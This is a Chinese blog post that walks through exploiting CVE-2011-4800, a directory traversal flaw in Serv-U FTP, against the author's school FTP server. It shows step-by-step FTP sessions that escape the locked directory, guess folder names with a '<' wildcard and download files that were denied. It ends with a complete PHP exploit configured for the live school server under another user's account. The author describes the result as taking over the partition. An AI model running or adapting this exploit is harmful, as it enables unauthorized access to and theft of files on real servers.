本文作者:hundan
来源:90WiKi
引言
学校用的ftp服务器是Serv-U 6.3/ 6.4的,而Serv-U在11.1.0.5之前有一个跨目录的漏洞,可以绕过“锁定用户在该目录”的功能,具体表现为 cd ..:/..:/..:/xxx 可以跳出当前路径,相当于正常命令下的 cd ../../../xxx,问题编号为cve-2011-4800
测试环境:Serv-U 6.3破解版
测试
C:\Users\lenovo>ftp 192.168.60.20
连接到 192.168.60.20。
220 Serv-U FTP Server v6.3 for WinSock ready...
501 Invalid option.
用户(192.168.60.20:(none)): tjh
230 User logged in, proceed.
ftp> cd 作业
250 Directory changed to /作业
ftp> cd ..:/..:/..:/zzm
250 Directory changed to /作业/tjh/../../zzm
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
drw-rw-rw- 1 user group 0 Apr 12 2016 .
drw-rw-rw- 1 user group 0 Apr 12 2016 ..
drw-rw-rw- 1 user group 0 Jan 15 19:10 linux
drw-rw-rw- 1 user group 0 Feb 23 2014 大计
drw-rw-rw- 1 user group 0 Jun 2 2016 期末考试
drw-rw-rw- 1 user group 0 Nov 16 14:37 题目
drw-rw-rw- 1 user group 0 Oct 9 21:49 作业
226 Transfer complete.
ftp: 收到 430 字节,用时 0.03秒 13.03千字节/秒。
可以看到,已经成功的跳出了当前路径到zzm文件夹下,并列出了目录,之所以要先cd 作业的原因,似乎是由于文件夹权限继承的问题,在当前文件夹下无法跳转到其他目录下,而进入子目录之后可以向上跳。
但是需要说明的是,无法直接 cd ..:/..:/跳出,最后必须要有一个指定的文件夹,因此无法直接列出分区根目录所有文件,要想列出文件,必须先知道具体的文件名,因此下面使用windows特性进行猜解。
poc里给出的ls命令跨目录列文件的方式并不能用。
windows特性
在windows下,某些时候“<”符号会被用作通配符。比如
C:\Users\lenovo>cd "de<"
C:\Users\lenovo\Desktop>
在serv-u给出的环境中同样可以使用<进行通配。
ftp> cd ..:/3<
250 Directory changed to /../3<
但是这样跳转后的目录是无法列出目录的ftp> cd ..:/d<
250 Directory changed to /../d<
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
而且必须先跳转后才能使用dir列目录,否则列出目录为空
ftp> dir ..:/data/
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
正确列出的文件如下
ftp> cd ..:/data
250 Directory changed to /../data
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
drw-rw-rw- 1 user group 0 Jan 15 18:21 .
drw-rw-rw- 1 user group 0 Jan 15 18:21 ..
-rw-rw-rw- 1 user group 499712 Feb 15 2017 HugeTxtSearch.exe
-rw-rw-rw- 1 user group 5981195 Dec 31 2016 P61118-150213.jpg
那么利用该通配符,具体的猜测过程大概如下
ftp> cd ..:/3<
250 Directory changed to /../3<
ftp> cd ..:/36<
250 Directory changed to /
ftp> cd ..:/36<
250 Directory changed to /../36<
ftp> cd ..:/360<
250 Directory changed to /
ftp> cd ..:/360<
250 Directory changed to /../360<
ftp> cd ..:/360a<
250 Directory changed to /
ftp> cd ..:/360a<
550 /../360a<: No such file or directory.
ftp> cd ..:/360d<
250 Directory changed to /../360d<
ftp> cd ..:/360download<
250 Directory changed to /
ftp> cd ..:/360download<
250 Directory changed to /../360download<
ftp> cd ..:/360downloads<
250 Directory changed to /
ftp> cd ..:/360downloads<
250 Directory changed to /../360downloads<
ftp> cd ..:/360downloads
250 Directory changed to /
ftp> cd ..:/360downloads
250 Directory changed to /../360downloads
有时候发现跨目录之后没有下载权限,但是有上传权限,该权限应该是继承自当前用户在当前文件夹下的权限。
get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso
换到一个能下载的文件夹里,然后再get,即可成功下载
cd 题目/net501
get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso
继承的权限可以用于突破原先限定的权限
ftp> get 5.5.fla
200 PORT Command successful.
550 Permission denied.
ftp> cd /题目/net501
250 Directory changed to /题目/net501
ftp> get ..:/..:/作业/flash/5.5.fla
200 PORT Command successful.
150 Opening ASCII mode data connection for 5.5.fla (8714 Bytes).
226 Transfer complete.
ftp: 收到 8714 字节,用时 0.02秒 484.11千字节/秒。
其实在Serv-U服务器倒是可以看到日志:
220 Serv-U FTP Server v6.3 for WinSock ready...
OPTS UTF8 ON
501 Invalid option.
USER test
230 User logged in, proceed.
CWD ..:/
550 /..:: No such file or directory.
CWD ..:\
550 /..:: No such file or directory.
CWD ..:/data
250 Directory changed to /../data
所以在好奇,是不是其实:这个冒号被过滤或者被当成其他意思解释了,其实不管输入多少个冒号,结果都是一样的
CWD ..::::::::::::::::::::::::/data
250 Directory changed to /../data
而冒号后面的点则会与冒号一同消失,也许是为了避免跨盘符而设定的规则。
CWD ..:........./data
250 Directory changed to /../data
至此,组合以上所有特性,已经可以遍历下载在该分区根目录下所有文件夹名为字母+符号+数字里的所有文件了,在知道具体路径的情况下,可以下载该分区下任意文件。
exp
<?php
/*
测试环境
*/
/*
$serv_u['ftp_server'] = '127.0.0.1';
$serv_u['ftp_user_name'] = 'test';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/';
$serv_u['depth_dir'] = '..:/..:/..:/';
*/
/*
实战环境
*/
$serv_u['ftp_server'] = '192.168.60.20';
$serv_u['ftp_user_name'] = 'hwh';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/jsb/';
$serv_u['depth_dir'] = '..:/..:/..:/..:/..:/';
$extend_enable = 1; // 是否启用外部拓展字典模式,0为关闭
$extend_payload = 'D:/OkMyWork/CVE-2011-4800/cve-2011-4800-payload.txt'; // 外部字典所在路径,支持相对或绝对,相对于shell运行位置而言
$serv_u['conn_id'] = ftp_connect($serv_u['ftp_server']) or die('cannot connect');
$serv_u['login_result'] = ftp_login($serv_u['conn_id'], $serv_u['ftp_user_name'], $serv_u['ftp_user_pass']);
if (!$serv_u['conn_id'] OR !$serv_u['login_result']) {
die('not login');
}
$serv_u['mkdir_name'] = $serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'];
@mkdir($serv_u['mkdir_name']);
/*
递归列出已找到的所有文件夹
*/
function resolve_depth_list($serv_u, $current_dir){
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir);
$contents = ftp_rawlist($serv_u['conn_id'], '');
file_put_contents($serv_u['ftp_server'].'.resolve.txt', "============$current_dir============\r\n", FILE_APPEND);
foreach ($contents as $key => $value) {
file_put_contents($serv_u['ftp_server'].'.resolve.txt', $value."\r\n", FILE_APPEND);
}
foreach ($contents as $key => $value) {
preg_match_all('/^d[rwx-]{9}\s+?\d+?\s+?\w+?\s+?\w+?\s+?\d+?\s+?\w+?\s+?\d+?\s+?[(\d+?:\d+?)|(\d)]+?\s(.+)$/', $value, $dir_name);
if (@$dir_name[1][0]) {
if ($dir_name[1][0] === '.' || $dir_name[1][0] === '..'){
continue;
}
echo "准备列出".$current_dir.'/'.$dir_name[1][0]."\n";
resolve_depth_list($serv_u, $current_dir.'/'.$dir_name[1][0]);
}else{
}
}
}
/*
寻找根目录下目录名所用到的所有字符
*/
$payload = array();
$payload_t = array();
for ($i = 32; $i < 128; $i++) {
if ($i === 97 ) {
$i = 123;
} elseif ($i === 46 || $i === 47 || $i === 58 || $i === 60 || $i === 62 || $i === 92 || $i === 34 || $i === 32 ) {
continue;
}
$payload_t[] = chr($i);
}
if ($extend_enable !== 0) {
$payload_t = array_merge($payload_t, file($extend_payload, FILE_IGNORE_NEW_LINES));
}
$payload_t = array_unique($payload_t);
foreach ($payload_t as $key => $value) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value) && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}
}
/*
寻找根目录下可能的文件夹名
*/
$dir_list = array();
function serv_u_list_root_path($serv_u, $current_dir = ''){
global $dir_list, $payload;
if ($current_dir) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir) && (ftp_pwd($serv_u['conn_id']) !== $serv_u['depth_dir'] && $serv_u['init_dir'])) {
echo $current_dir."\r\n";
$dir_list[] = $current_dir;
file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir."\r\n", FILE_APPEND);
$contents = ftp_rawlist($serv_u['conn_id'], '');
foreach ($contents as $key => $value) {
file_put_contents('./'.$serv_u['mkdir_name'].'/'.$current_dir.'.txt', $value."\r\n", FILE_APPEND);
}
}
}
$flag = 0;
foreach ($payload as $key => $i) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.$i.'<')) {
$flag = 1;
serv_u_list_root_path($serv_u, $current_dir.$i);
}
if ($current_dir) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.chr(32).$i.'<')) {
$flag = 1;
serv_u_list_root_path($serv_u, $current_dir.chr(32).$i);
}
}
}
if (!$flag) {
echo $current_dir.'???--unknown--???'."\r\n";
file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir.'???--unknown--???'."\r\n", FILE_APPEND);
}
}
/*
寻找根目录下可能的文件名-使用拓展
*/
serv_u_list_root_path($serv_u);
/*
启用递归遍历
*/
foreach ($dir_list as $key => $value) {
resolve_depth_list($serv_u, $value);
}
ftp_close($serv_u['conn_id']);
?>
支持外部payload字典加载,一行一个字符,以支持比如中文等特殊字符,需要注意的是,exp和payload都需要保存为GBK/GB2312编码,否则cmd无法正常显示,也不能正常进行探测。
自用的payload使用了常用汉字top1000+百家姓+ftp上已知目录所有中文提取。链接
效果:探测根目录下的所有目录及其目录内容,递归探测已知目录的全部内容,导出到txt。
递归列出目录后,有助于快速确定敏感信息和深入攻击,在该分区可读可写,相当于接管了该分区。